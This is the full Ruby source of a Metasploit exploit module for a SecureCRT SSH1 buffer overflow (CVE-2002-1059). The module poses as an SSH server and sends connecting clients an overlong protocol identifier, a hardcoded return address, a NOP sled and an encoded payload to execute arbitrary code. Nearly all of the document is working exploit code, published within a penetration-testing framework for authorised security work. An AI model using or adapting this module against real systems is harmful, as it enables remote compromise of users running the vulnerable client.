## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::TcpServer def initialize(info = {}) super(update_info(info, 'Name' => 'SecureCRT SSH1 Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in SecureCRT <= 4.0 Beta 2. By sending a vulnerable client an overly long SSH1 protocol identifier string, it is possible to execute arbitrary code. This module has only been tested on SecureCRT 3.4.4. }, 'Author' => 'MC', 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2002-1059' ], [ 'OSVDB', '4991' ], [ 'BID', '5287' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 400, 'BadChars' => "\x00", 'MaxNops' => 0, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'SecureCRT.exe (3.4.4)', { 'Ret' => 0x0041b3e0 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Jul 23 2002', 'DefaultTarget' => 0)) register_options( [ OptPort.new('SRVPORT', [ true, "The SSH daemon port to listen on", 22 ]) ], self.class) end def on_client_connect(client) return if ((p = regenerate_payload(client)) == nil) buffer = "SSH-1.1-OpenSSH_3.6.1p2\r\n" + rand_text_english(243) buffer << [target.ret].pack('V') + make_nops(20) + payload.encoded print_status("Sending #{buffer.length} bytes to #{client.getpeername}:#{client.peerport}...") client.put(buffer) handler service.close_client(client) end end